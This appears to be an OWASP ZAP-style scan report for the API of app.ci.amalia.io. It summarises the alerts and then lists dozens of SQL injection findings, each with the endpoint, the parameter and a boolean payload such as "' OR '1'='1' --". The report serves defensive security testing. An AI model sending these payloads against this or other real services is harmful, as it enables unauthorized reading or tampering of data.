| Risk Level | Number of Alerts |
|---|---|
|
High
|
1
|
|
Medium
|
2
|
|
Low
|
6
|
|
Informational
|
4
|
|
False Positives:
|
0
|
| Name | Risk Level | Number of Instances |
|---|---|---|
| SQL Injection | High | 155 |
| CSP: Wildcard Directive | Medium | 5 |
| CSP: style-src unsafe-inline | Medium | 5 |
| A Server Error response code was returned by the server | Low | 255 |
| Application Error Disclosure | Low | 9 |
| Information Disclosure - Debug Error Messages | Low | 8 |
| Permissions Policy Header Not Set | Low | 5 |
| Timestamp Disclosure - Unix | Low | 1 |
| Unexpected Content-Type was returned | Low | 1211 |
| A Client Error response code was returned by the server | Informational | 21509 |
| Information Disclosure - Sensitive Information in URL | Informational | 12 |
| Non-Storable Content | Informational | 12 |
| Re-examine Cache-control Directives | Informational | 12 |
|
High |
SQL Injection |
|---|---|
| Description |
SQL injection may be possible.
|
| URL | https://app.ci.amalia.io/api/custom-reports-folders/id?keepFiles=true+AND+1%3D1+--+ |
| Method | DELETE |
| Parameter | keepFiles |
| Attack | true OR 1=1 -- |
| Evidence | |
| Other Info | The page results were successfully manipulated using the boolean conditions [true AND 1=1 -- ] and [true OR 1=1 -- ] The parameter value being modified was NOT stripped from the HTML output for the purposes of the comparison Data was NOT returned for the original parameter. The vulnerability was detected by successfully retrieving more data than originally returned, by manipulating the parameter |
| URL | https://app.ci.amalia.io/api/statements/statementId/datasets/datasetId/rows/rowExternalId |
| Method | DELETE |
| Parameter | definitionId |
| Attack | John Doe' AND '1'='1' -- |
| Evidence | |
| Other Info | The page results were successfully manipulated using the boolean conditions [John Doe' AND '1'='1' -- ] and [John Doe' AND '1'='2' -- ] The parameter value being modified was stripped from the HTML output for the purposes of the comparison Data was returned for the original parameter. The vulnerability was detected by successfully restricting the data originally returned, by manipulating the parameter |
| URL | https://app.ci.amalia.io/api/teams/teamId/plan-assignments |
| Method | DELETE |
| Parameter | affectedUsersType |
| Attack | John Doe OR 1=1 -- |
| Evidence | |
| Other Info | The page results were successfully manipulated using the boolean conditions [John Doe AND 1=1 -- ] and [John Doe OR 1=1 -- ] The parameter value being modified was stripped from the HTML output for the purposes of the comparison Data was NOT returned for the original parameter. The vulnerability was detected by successfully retrieving more data than originally returned, by manipulating the parameter |
| URL | https://app.ci.amalia.io/api/teams/teamId/plan-assignments |
| Method | DELETE |
| Parameter | planId |
| Attack | John Doe OR 1=1 -- |
| Evidence | |
| Other Info | The page results were successfully manipulated using the boolean conditions [John Doe AND 1=1 -- ] and [John Doe OR 1=1 -- ] The parameter value being modified was stripped from the HTML output for the purposes of the comparison Data was NOT returned for the original parameter. The vulnerability was detected by successfully retrieving more data than originally returned, by manipulating the parameter |
| URL | https://app.ci.amalia.io/api/variable_values |
| Method | DELETE |
| Parameter | variableId |
| Attack | John Doe AND 1=1 -- |
| Evidence | |
| Other Info | The page results were successfully manipulated using the boolean conditions [John Doe AND 1=1 -- ] and [John Doe AND 1=2 -- ] The parameter value being modified was stripped from the HTML output for the purposes of the comparison Data was returned for the original parameter. The vulnerability was detected by successfully restricting the data originally returned, by manipulating the parameter |
| URL | https://app.ci.amalia.io/api/variables/variableId?planId=planId+AND+1%3D1+--+ |
| Method | DELETE |
| Parameter | planId |
| Attack | planId AND 1=1 -- |
| Evidence | |
| Other Info | The page results were successfully manipulated using the boolean conditions [planId AND 1=1 -- ] and [planId AND 1=2 -- ] The parameter value being modified was stripped from the HTML output for the purposes of the comparison Data was returned for the original parameter. The vulnerability was detected by successfully restricting the data originally returned, by manipulating the parameter |
| URL | https://app.ci.amalia.io/api/assignments?planId=planId&userId=userId+AND+1%3D1+--+ |
| Method | GET |
| Parameter | userId |
| Attack | userId OR 1=1 -- |
| Evidence | |
| Other Info | The page results were successfully manipulated using the boolean conditions [userId AND 1=1 -- ] and [userId OR 1=1 -- ] The parameter value being modified was NOT stripped from the HTML output for the purposes of the comparison Data was NOT returned for the original parameter. The vulnerability was detected by successfully retrieving more data than originally returned, by manipulating the parameter |
| URL | https://app.ci.amalia.io/api/assignments?planId=planId+AND+1%3D1+--+&userId=userId |
| Method | GET |
| Parameter | planId |
| Attack | planId AND 1=1 -- |
| Evidence | |
| Other Info | The page results were successfully manipulated using the boolean conditions [planId AND 1=1 -- ] and [planId AND 1=2 -- ] The parameter value being modified was NOT stripped from the HTML output for the purposes of the comparison Data was returned for the original parameter. The vulnerability was detected by successfully restricting the data originally returned, by manipulating the parameter |
| URL | https://app.ci.amalia.io/api/audit/filters?fromDate=fromDate+AND+1%3D1+--+&toDate=toDate |
| Method | GET |
| Parameter | fromDate |
| Attack | fromDate AND 1=1 -- |
| Evidence | |
| Other Info | The page results were successfully manipulated using the boolean conditions [fromDate AND 1=1 -- ] and [fromDate AND 1=2 -- ] The parameter value being modified was stripped from the HTML output for the purposes of the comparison Data was returned for the original parameter. The vulnerability was detected by successfully restricting the data originally returned, by manipulating the parameter |
| URL | https://app.ci.amalia.io/api/badges/awards?planIds=planIds&periodId=periodId%27+AND+%271%27%3D%271%27+--+&userIds=userIds |
| Method | GET |
| Parameter | periodId |
| Attack | periodId' AND '1'='1' -- |
| Evidence | |
| Other Info | The page results were successfully manipulated using the boolean conditions [periodId' AND '1'='1' -- ] and [periodId' AND '1'='2' -- ] The parameter value being modified was stripped from the HTML output for the purposes of the comparison Data was returned for the original parameter. The vulnerability was detected by successfully restricting the data originally returned, by manipulating the parameter |
| URL | https://app.ci.amalia.io/api/calculations/periodId?status=status&count=3+AND+1%3D1+--+ |
| Method | GET |
| Parameter | count |
| Attack | 3 AND 1=1 -- |
| Evidence | |
| Other Info | The page results were successfully manipulated using the boolean conditions [3 AND 1=1 -- ] and [3 AND 1=2 -- ] The parameter value being modified was NOT stripped from the HTML output for the purposes of the comparison Data was returned for the original parameter. The vulnerability was detected by successfully restricting the data originally returned, by manipulating the parameter |
| URL | https://app.ci.amalia.io/api/calculations/periodId?status=status+AND+1%3D1+--+&count=3 |
| Method | GET |
| Parameter | status |
| Attack | status AND 1=1 -- |
| Evidence | |
| Other Info | The page results were successfully manipulated using the boolean conditions [status AND 1=1 -- ] and [status AND 1=2 -- ] The parameter value being modified was stripped from the HTML output for the purposes of the comparison Data was returned for the original parameter. The vulnerability was detected by successfully restricting the data originally returned, by manipulating the parameter |
| URL | https://app.ci.amalia.io/api/challenges?ruleId=ruleId&periodId=periodId%27+AND+%271%27%3D%271%27+--+ |
| Method | GET |
| Parameter | periodId |
| Attack | periodId' AND '1'='1' -- |
| Evidence | |
| Other Info | The page results were successfully manipulated using the boolean conditions [periodId' AND '1'='1' -- ] and [periodId' AND '1'='2' -- ] The parameter value being modified was stripped from the HTML output for the purposes of the comparison Data was returned for the original parameter. The vulnerability was detected by successfully restricting the data originally returned, by manipulating the parameter |
| URL | https://app.ci.amalia.io/api/changelog-entries?cursor=cursor+AND+1%3D1+--+&new=true&from=from |
| Method | GET |
| Parameter | cursor |
| Attack | cursor AND 1=1 -- |
| Evidence | |
| Other Info | The page results were successfully manipulated using the boolean conditions [cursor AND 1=1 -- ] and [cursor AND 1=2 -- ] The parameter value being modified was NOT stripped from the HTML output for the purposes of the comparison Data was returned for the original parameter. The vulnerability was detected by successfully restricting the data originally returned, by manipulating the parameter |
| URL | https://app.ci.amalia.io/api/currencies?year=year&date=date%27+AND+%271%27%3D%271%27+--+ |
| Method | GET |
| Parameter | date |
| Attack | date' AND '1'='1' -- |
| Evidence | |
| Other Info | The page results were successfully manipulated using the boolean conditions [date' AND '1'='1' -- ] and [date' AND '1'='2' -- ] The parameter value being modified was NOT stripped from the HTML output for the purposes of the comparison Data was returned for the original parameter. The vulnerability was detected by successfully restricting the data originally returned, by manipulating the parameter |
| URL | https://app.ci.amalia.io/api/currencies?year=year+AND+1%3D1+--+&date=date |
| Method | GET |
| Parameter | year |
| Attack | year AND 1=1 -- |
| Evidence | |
| Other Info | The page results were successfully manipulated using the boolean conditions [year AND 1=1 -- ] and [year AND 1=2 -- ] The parameter value being modified was NOT stripped from the HTML output for the purposes of the comparison Data was returned for the original parameter. The vulnerability was detected by successfully restricting the data originally returned, by manipulating the parameter |
| URL | https://app.ci.amalia.io/api/dashboards/widget?periodId=periodId&year=1.2+AND+1%3D1+--+&planIds=planIds&teamIds=teamIds&userIds=userIds&limit=1.2 |
| Method | GET |
| Parameter | year |
| Attack | 1.2 AND 1=1 -- |
| Evidence | |
| Other Info | The page results were successfully manipulated using the boolean conditions [1.2 AND 1=1 -- ] and [1.2 AND 1=2 -- ] The parameter value being modified was stripped from the HTML output for the purposes of the comparison Data was returned for the original parameter. The vulnerability was detected by successfully restricting the data originally returned, by manipulating the parameter |
| URL | https://app.ci.amalia.io/api/notifications?page=1.2+AND+1%3D1+--+&limit=1.2 |
| Method | GET |
| Parameter | page |
| Attack | 1.2 OR 1=1 -- |
| Evidence | |
| Other Info | The page results were successfully manipulated using the boolean conditions [1.2 AND 1=1 -- ] and [1.2 OR 1=1 -- ] The parameter value being modified was NOT stripped from the HTML output for the purposes of the comparison Data was NOT returned for the original parameter. The vulnerability was detected by successfully retrieving more data than originally returned, by manipulating the parameter |
| URL | https://app.ci.amalia.io/api/objects/definition/quick-search?q=q+AND+1%3D1+--+ |
| Method | GET |
| Parameter | q |
| Attack | q OR 1=1 -- |
| Evidence | |
| Other Info | The page results were successfully manipulated using the boolean conditions [q AND 1=1 -- ] and [q OR 1=1 -- ] The parameter value being modified was NOT stripped from the HTML output for the purposes of the comparison Data was NOT returned for the original parameter. The vulnerability was detected by successfully retrieving more data than originally returned, by manipulating the parameter |
| URL | https://app.ci.amalia.io/api/objects/definition?page=1.2&limit=1.2%27+AND+%271%27%3D%271%27+--+&sort=sort&desc=true&q=q&overwrite=true&externalIds=externalIds&filter=filter |
| Method | GET |
| Parameter | limit |
| Attack | 1.2' AND '1'='1' -- |
| Evidence | |
| Other Info | The page results were successfully manipulated using the boolean conditions [1.2' AND '1'='1' -- ] and [1.2' AND '1'='2' -- ] The parameter value being modified was stripped from the HTML output for the purposes of the comparison Data was returned for the original parameter. The vulnerability was detected by successfully restricting the data originally returned, by manipulating the parameter |
| URL | https://app.ci.amalia.io/api/objects/definition?page=1.2+AND+1%3D1+--+&limit=1.2&sort=sort&desc=true&q=q&overwrite=true&externalIds=externalIds&filter=filter |
| Method | GET |
| Parameter | page |
| Attack | 1.2 AND 1=1 -- |
| Evidence | |
| Other Info | The page results were successfully manipulated using the boolean conditions [1.2 AND 1=1 -- ] and [1.2 AND 1=2 -- ] The parameter value being modified was stripped from the HTML output for the purposes of the comparison Data was returned for the original parameter. The vulnerability was detected by successfully restricting the data originally returned, by manipulating the parameter |
| URL | https://app.ci.amalia.io/api/overwrites?page=1.2&limit=1.2+AND+1%3D1+--+&sort=sort&desc=desc&q=q&dataSourceIds=dataSourceIds&status=status&typeName=typeName&periodIds=periodIds&userIds=userIds&planIds=planIds&overwrittenByIds=overwrittenByIds |
| Method | GET |
| Parameter | limit |
| Attack | 1.2 AND 1=1 -- |
| Evidence | |
| Other Info | The page results were successfully manipulated using the boolean conditions [1.2 AND 1=1 -- ] and [1.2 AND 1=2 -- ] The parameter value being modified was NOT stripped from the HTML output for the purposes of the comparison Data was returned for the original parameter. The vulnerability was detected by successfully restricting the data originally returned, by manipulating the parameter |
| URL | https://app.ci.amalia.io/api/overwrites?page=1.2+AND+1%3D1+--+&limit=1.2&sort=sort&desc=desc&q=q&dataSourceIds=dataSourceIds&status=status&typeName=typeName&periodIds=periodIds&userIds=userIds&planIds=planIds&overwrittenByIds=overwrittenByIds |
| Method | GET |
| Parameter | page |
| Attack | 1.2 OR 1=1 -- |
| Evidence | |
| Other Info | The page results were successfully manipulated using the boolean conditions [1.2 AND 1=1 -- ] and [1.2 OR 1=1 -- ] The parameter value being modified was stripped from the HTML output for the purposes of the comparison Data was NOT returned for the original parameter. The vulnerability was detected by successfully retrieving more data than originally returned, by manipulating the parameter |
| URL | https://app.ci.amalia.io/api/payments/amounts?currentPeriodId=currentPeriodId%27+AND+%271%27%3D%271%27+--+&planIds=planIds&ruleIds=ruleIds&periodIds=periodIds&paymentPeriodIds=paymentPeriodIds&teamId=teamId&userIds=userIds&type=type |
| Method | GET |
| Parameter | currentPeriodId |
| Attack | currentPeriodId' OR '1'='1' -- |
| Evidence | |
| Other Info | The page results were successfully manipulated using the boolean conditions [currentPeriodId' AND '1'='1' -- ] and [currentPeriodId' OR '1'='1' -- ] The parameter value being modified was stripped from the HTML output for the purposes of the comparison Data was NOT returned for the original parameter. The vulnerability was detected by successfully retrieving more data than originally returned, by manipulating the parameter |
| URL | https://app.ci.amalia.io/api/payments/amounts?currentPeriodId=currentPeriodId&planIds=planIds%27+AND+%271%27%3D%271%27+--+&ruleIds=ruleIds&periodIds=periodIds&paymentPeriodIds=paymentPeriodIds&teamId=teamId&userIds=userIds&type=type |
| Method | GET |
| Parameter | planIds |
| Attack | planIds' AND '1'='1' -- |
| Evidence | |
| Other Info | The page results were successfully manipulated using the boolean conditions [planIds' AND '1'='1' -- ] and [planIds' AND '1'='2' -- ] The parameter value being modified was stripped from the HTML output for the purposes of the comparison Data was returned for the original parameter. The vulnerability was detected by successfully restricting the data originally returned, by manipulating the parameter |
| URL | https://app.ci.amalia.io/api/payments/facets?userIds=userIds&planIds=planIds%27+AND+%271%27%3D%271%27+--+&teamIds=teamIds&ruleIds=ruleIds&periodIds=periodIds&paymentPeriodIds=paymentPeriodIds&q=q |
| Method | GET |
| Parameter | planIds |
| Attack | planIds' AND '1'='1' -- |
| Evidence | |
| Other Info | The page results were successfully manipulated using the boolean conditions [planIds' AND '1'='1' -- ] and [planIds' AND '1'='2' -- ] The parameter value being modified was stripped from the HTML output for the purposes of the comparison Data was returned for the original parameter. The vulnerability was detected by successfully restricting the data originally returned, by manipulating the parameter |
| URL | https://app.ci.amalia.io/api/payments/facets?userIds=userIds+AND+1%3D1+--+&planIds=planIds&teamIds=teamIds&ruleIds=ruleIds&periodIds=periodIds&paymentPeriodIds=paymentPeriodIds&q=q |
| Method | GET |
| Parameter | userIds |
| Attack | userIds AND 1=1 -- |
| Evidence | |
| Other Info | The page results were successfully manipulated using the boolean conditions [userIds AND 1=1 -- ] and [userIds AND 1=2 -- ] The parameter value being modified was NOT stripped from the HTML output for the purposes of the comparison Data was returned for the original parameter. The vulnerability was detected by successfully restricting the data originally returned, by manipulating the parameter |
| URL | https://app.ci.amalia.io/api/payments/paginate?userIds=userIds&planIds=planIds%27+AND+%271%27%3D%271%27+--+&teamIds=teamIds&ruleIds=ruleIds&periodIds=periodIds&paymentPeriodIds=paymentPeriodIds&q=q&sort=sort&desc=desc&page=1.2&limit=1.2 |
| Method | GET |
| Parameter | planIds |
| Attack | planIds' OR '1'='1' -- |
| Evidence | |
| Other Info | The page results were successfully manipulated using the boolean conditions [planIds' AND '1'='1' -- ] and [planIds' OR '1'='1' -- ] The parameter value being modified was NOT stripped from the HTML output for the purposes of the comparison Data was NOT returned for the original parameter. The vulnerability was detected by successfully retrieving more data than originally returned, by manipulating the parameter |
| URL | https://app.ci.amalia.io/api/payments/paginate?userIds=userIds+AND+1%3D1+--+&planIds=planIds&teamIds=teamIds&ruleIds=ruleIds&periodIds=periodIds&paymentPeriodIds=paymentPeriodIds&q=q&sort=sort&desc=desc&page=1.2&limit=1.2 |
| Method | GET |
| Parameter | userIds |
| Attack | userIds OR 1=1 -- |
| Evidence | |
| Other Info | The page results were successfully manipulated using the boolean conditions [userIds AND 1=1 -- ] and [userIds OR 1=1 -- ] The parameter value being modified was NOT stripped from the HTML output for the purposes of the comparison Data was NOT returned for the original parameter. The vulnerability was detected by successfully retrieving more data than originally returned, by manipulating the parameter |
| URL | https://app.ci.amalia.io/api/plans/id/analyze?companyId=companyId&query-containers=true+AND+1%3D1+--+ |
| Method | GET |
| Parameter | query-containers |
| Attack | true AND 1=1 -- |
| Evidence | |
| Other Info | The page results were successfully manipulated using the boolean conditions [true AND 1=1 -- ] and [true AND 1=2 -- ] The parameter value being modified was NOT stripped from the HTML output for the purposes of the comparison Data was returned for the original parameter. The vulnerability was detected by successfully restricting the data originally returned, by manipulating the parameter |
| URL | https://app.ci.amalia.io/api/plans/id/analyze?companyId=companyId+AND+1%3D1+--+&query-containers=true |
| Method | GET |
| Parameter | companyId |
| Attack | companyId AND 1=1 -- |
| Evidence | |
| Other Info | The page results were successfully manipulated using the boolean conditions [companyId AND 1=1 -- ] and [companyId AND 1=2 -- ] The parameter value being modified was stripped from the HTML output for the purposes of the comparison Data was returned for the original parameter. The vulnerability was detected by successfully restricting the data originally returned, by manipulating the parameter |
| URL | https://app.ci.amalia.io/api/sa_calculations/last?page=1.2+AND+1%3D1+--+&companiesId=companiesId&filterErrors=true |
| Method | GET |
| Parameter | page |
| Attack | 1.2 OR 1=1 -- |
| Evidence | |
| Other Info | The page results were successfully manipulated using the boolean conditions [1.2 AND 1=1 -- ] and [1.2 OR 1=1 -- ] The parameter value being modified was NOT stripped from the HTML output for the purposes of the comparison Data was NOT returned for the original parameter. The vulnerability was detected by successfully retrieving more data than originally returned, by manipulating the parameter |
| URL | https://app.ci.amalia.io/api/sa_connectors?companiesId=companiesId+AND+1%3D1+--+ |
| Method | GET |
| Parameter | companiesId |
| Attack | companiesId AND 1=1 -- |
| Evidence | |
| Other Info | The page results were successfully manipulated using the boolean conditions [companiesId AND 1=1 -- ] and [companiesId AND 1=2 -- ] The parameter value being modified was stripped from the HTML output for the purposes of the comparison Data was returned for the original parameter. The vulnerability was detected by successfully restricting the data originally returned, by manipulating the parameter |
| URL | https://app.ci.amalia.io/api/sa_refreshments/last?page=1.2+AND+1%3D1+--+&companiesId=companiesId&filterErrors=true |
| Method | GET |
| Parameter | page |
| Attack | 1.2 AND 1=1 -- |
| Evidence | |
| Other Info | The page results were successfully manipulated using the boolean conditions [1.2 AND 1=1 -- ] and [1.2 AND 1=2 -- ] The parameter value being modified was NOT stripped from the HTML output for the purposes of the comparison Data was returned for the original parameter. The vulnerability was detected by successfully restricting the data originally returned, by manipulating the parameter |
| URL | https://app.ci.amalia.io/api/sa_statements/with_errors?companiesId=companiesId+AND+1%3D1+--+ |
| Method | GET |
| Parameter | companiesId |
| Attack | companiesId AND 1=1 -- |
| Evidence | |
| Other Info | The page results were successfully manipulated using the boolean conditions [companiesId AND 1=1 -- ] and [companiesId AND 1=2 -- ] The parameter value being modified was stripped from the HTML output for the purposes of the comparison Data was returned for the original parameter. The vulnerability was detected by successfully restricting the data originally returned, by manipulating the parameter |
| URL | https://app.ci.amalia.io/api/statements/findOneByCriteria?userId=userId&periodId=periodId+AND+1%3D1+--+&planId=planId |
| Method | GET |
| Parameter | periodId |
| Attack | periodId AND 1=1 -- |
| Evidence | |
| Other Info | The page results were successfully manipulated using the boolean conditions [periodId AND 1=1 -- ] and [periodId AND 1=2 -- ] The parameter value being modified was NOT stripped from the HTML output for the purposes of the comparison Data was returned for the original parameter. The vulnerability was detected by successfully restricting the data originally returned, by manipulating the parameter |
| URL | https://app.ci.amalia.io/api/statements/findOneByCriteria?userId=userId+AND+1%3D1+--+&periodId=periodId&planId=planId |
| Method | GET |
| Parameter | userId |
| Attack | userId AND 1=1 -- |
| Evidence | |
| Other Info | The page results were successfully manipulated using the boolean conditions [userId AND 1=1 -- ] and [userId AND 1=2 -- ] The parameter value being modified was NOT stripped from the HTML output for the purposes of the comparison Data was returned for the original parameter. The vulnerability was detected by successfully restricting the data originally returned, by manipulating the parameter |
| URL | https://app.ci.amalia.io/api/statements/listUsers?planIds=planIds+AND+1%3D1+--+&teamIds=teamIds |
| Method | GET |
| Parameter | planIds |
| Attack | planIds OR 1=1 -- |
| Evidence | |
| Other Info | The page results were successfully manipulated using the boolean conditions [planIds AND 1=1 -- ] and [planIds OR 1=1 -- ] The parameter value being modified was NOT stripped from the HTML output for the purposes of the comparison Data was NOT returned for the original parameter. The vulnerability was detected by successfully retrieving more data than originally returned, by manipulating the parameter |
| URL | https://app.ci.amalia.io/api/statements/statementId/forecasts/id?withObjectsToDisplay=true+AND+1%3D1+--+ |
| Method | GET |
| Parameter | withObjectsToDisplay |
| Attack | true OR 1=1 -- |
| Evidence | |
| Other Info | The page results were successfully manipulated using the boolean conditions [true AND 1=1 -- ] and [true OR 1=1 -- ] The parameter value being modified was NOT stripped from the HTML output for the purposes of the comparison Data was NOT returned for the original parameter. The vulnerability was detected by successfully retrieving more data than originally returned, by manipulating the parameter |
| URL | https://app.ci.amalia.io/api/statements?userIds=userIds&periodId=periodId+AND+1%3D1+--+&planId=planId&teamId=teamId |
| Method | GET |
| Parameter | periodId |
| Attack | periodId AND 1=1 -- |
| Evidence | |
| Other Info | The page results were successfully manipulated using the boolean conditions [periodId AND 1=1 -- ] and [periodId AND 1=2 -- ] The parameter value being modified was NOT stripped from the HTML output for the purposes of the comparison Data was returned for the original parameter. The vulnerability was detected by successfully restricting the data originally returned, by manipulating the parameter |
| URL | https://app.ci.amalia.io/api/statements?userIds=userIds+AND+1%3D1+--+&periodId=periodId&planId=planId&teamId=teamId |
| Method | GET |
| Parameter | userIds |
| Attack | userIds OR 1=1 -- |
| Evidence | |
| Other Info | The page results were successfully manipulated using the boolean conditions [userIds AND 1=1 -- ] and [userIds OR 1=1 -- ] The parameter value being modified was stripped from the HTML output for the purposes of the comparison Data was NOT returned for the original parameter. The vulnerability was detected by successfully retrieving more data than originally returned, by manipulating the parameter |
| URL | https://app.ci.amalia.io/api/statements_adjustments?statementId=statementId%27+AND+%271%27%3D%271%27+--+ |
| Method | GET |
| Parameter | statementId |
| Attack | statementId' OR '1'='1' -- |
| Evidence | |
| Other Info | The page results were successfully manipulated using the boolean conditions [statementId' AND '1'='1' -- ] and [statementId' OR '1'='1' -- ] The parameter value being modified was stripped from the HTML output for the purposes of the comparison Data was NOT returned for the original parameter. The vulnerability was detected by successfully retrieving more data than originally returned, by manipulating the parameter |
| URL | https://app.ci.amalia.io/api/team_assignments?teamId=teamId%27+AND+%271%27%3D%271%27+--+&userId=userId |
| Method | GET |
| Parameter | teamId |
| Attack | teamId' OR '1'='1' -- |
| Evidence | |
| Other Info | The page results were successfully manipulated using the boolean conditions [teamId' AND '1'='1' -- ] and [teamId' OR '1'='1' -- ] The parameter value being modified was stripped from the HTML output for the purposes of the comparison Data was NOT returned for the original parameter. The vulnerability was detected by successfully retrieving more data than originally returned, by manipulating the parameter |
| URL | https://app.ci.amalia.io/api/todos?filter=filter+AND+1%3D1+--+&page=1.2&limit=1.2&sort=sort&desc=desc&q=q |
| Method | GET |
| Parameter | filter |
| Attack | filter OR 1=1 -- |
| Evidence | |
| Other Info | The page results were successfully manipulated using the boolean conditions [filter AND 1=1 -- ] and [filter OR 1=1 -- ] The parameter value being modified was stripped from the HTML output for the purposes of the comparison Data was NOT returned for the original parameter. The vulnerability was detected by successfully retrieving more data than originally returned, by manipulating the parameter |
| URL | https://app.ci.amalia.io/api/userStatements/facets?periodId=periodId+AND+1%3D1+--+&planIds=planIds&teamId=teamId&isForecast=true |
| Method | GET |
| Parameter | periodId |
| Attack | periodId AND 1=1 -- |
| Evidence | |
| Other Info | The page results were successfully manipulated using the boolean conditions [periodId AND 1=1 -- ] and [periodId AND 1=2 -- ] The parameter value being modified was stripped from the HTML output for the purposes of the comparison Data was returned for the original parameter. The vulnerability was detected by successfully restricting the data originally returned, by manipulating the parameter |
| URL | https://app.ci.amalia.io/api/userStatements?periodId=periodId&planId=planId%27+AND+%271%27%3D%271%27+--+&teamId=teamId&searchQuery=ZAP&isForecast=true&page=1.2&limit=1.2&sortColumn=sortColumn&sortOrder=sortOrder&userIds=userIds |
| Method | GET |
| Parameter | planId |
| Attack | planId' AND '1'='1' -- |
| Evidence | |
| Other Info | The page results were successfully manipulated using the boolean conditions [planId' AND '1'='1' -- ] and [planId' AND '1'='2' -- ] The parameter value being modified was NOT stripped from the HTML output for the purposes of the comparison Data was returned for the original parameter. The vulnerability was detected by successfully restricting the data originally returned, by manipulating the parameter |
| URL | https://app.ci.amalia.io/api/userStatements?periodId=periodId+AND+1%3D1+--+&planId=planId&teamId=teamId&searchQuery=ZAP&isForecast=true&page=1.2&limit=1.2&sortColumn=sortColumn&sortOrder=sortOrder&userIds=userIds |
| Method | GET |
| Parameter | periodId |
| Attack | periodId OR 1=1 -- |
| Evidence | |
| Other Info | The page results were successfully manipulated using the boolean conditions [periodId AND 1=1 -- ] and [periodId OR 1=1 -- ] The parameter value being modified was NOT stripped from the HTML output for the purposes of the comparison Data was NOT returned for the original parameter. The vulnerability was detected by successfully retrieving more data than originally returned, by manipulating the parameter |
| URL | https://app.ci.amalia.io/api/assignments |
| Method | PATCH |
| Parameter | effectiveAsOf |
| Attack | 1.2' OR '1'='1' -- |
| Evidence | |
| Other Info | The page results were successfully manipulated using the boolean conditions [1.2' AND '1'='1' -- ] and [1.2' OR '1'='1' -- ] The parameter value being modified was NOT stripped from the HTML output for the purposes of the comparison Data was NOT returned for the original parameter. The vulnerability was detected by successfully retrieving more data than originally returned, by manipulating the parameter |
| URL | https://app.ci.amalia.io/api/assignments |
| Method | PATCH |
| Parameter | planId |
| Attack | John Doe' AND '1'='1' -- |
| Evidence | |
| Other Info | The page results were successfully manipulated using the boolean conditions [John Doe' AND '1'='1' -- ] and [John Doe' AND '1'='2' -- ] The parameter value being modified was NOT stripped from the HTML output for the purposes of the comparison Data was returned for the original parameter. The vulnerability was detected by successfully restricting the data originally returned, by manipulating the parameter |
| URL | https://app.ci.amalia.io/api/assignments |
| Method | PATCH |
| Parameter | userId |
| Attack | John Doe AND 1=1 -- |
| Evidence | |
| Other Info | The page results were successfully manipulated using the boolean conditions [John Doe AND 1=1 -- ] and [John Doe AND 1=2 -- ] The parameter value being modified was NOT stripped from the HTML output for the purposes of the comparison Data was returned for the original parameter. The vulnerability was detected by successfully restricting the data originally returned, by manipulating the parameter |
| URL | https://app.ci.amalia.io/api/calculations/calculationId |
| Method | PATCH |
| Parameter | status |
| Attack | John Doe' OR '1'='1' -- |
| Evidence | |
| Other Info | The page results were successfully manipulated using the boolean conditions [John Doe' AND '1'='1' -- ] and [John Doe' OR '1'='1' -- ] The parameter value being modified was NOT stripped from the HTML output for the purposes of the comparison Data was NOT returned for the original parameter. The vulnerability was detected by successfully retrieving more data than originally returned, by manipulating the parameter |
| URL | https://app.ci.amalia.io/api/company_currencies |
| Method | PATCH |
| Parameter | symbol |
| Attack | John Doe AND 1=1 -- |
| Evidence | |
| Other Info | The page results were successfully manipulated using the boolean conditions [John Doe AND 1=1 -- ] and [John Doe AND 1=2 -- ] The parameter value being modified was NOT stripped from the HTML output for the purposes of the comparison Data was returned for the original parameter. The vulnerability was detected by successfully restricting the data originally returned, by manipulating the parameter |
| URL | https://app.ci.amalia.io/api/connectors/id |
| Method | PATCH |
| Parameter | externalUrl |
| Attack | John Doe OR 1=1 -- |
| Evidence | |
| Other Info | The page results were successfully manipulated using the boolean conditions [John Doe AND 1=1 -- ] and [John Doe OR 1=1 -- ] The parameter value being modified was stripped from the HTML output for the purposes of the comparison Data was NOT returned for the original parameter. The vulnerability was detected by successfully retrieving more data than originally returned, by manipulating the parameter |
| URL | https://app.ci.amalia.io/api/connectors/id |
| Method | PATCH |
| Parameter | status |
| Attack | John Doe' AND '1'='1' -- |
| Evidence | |
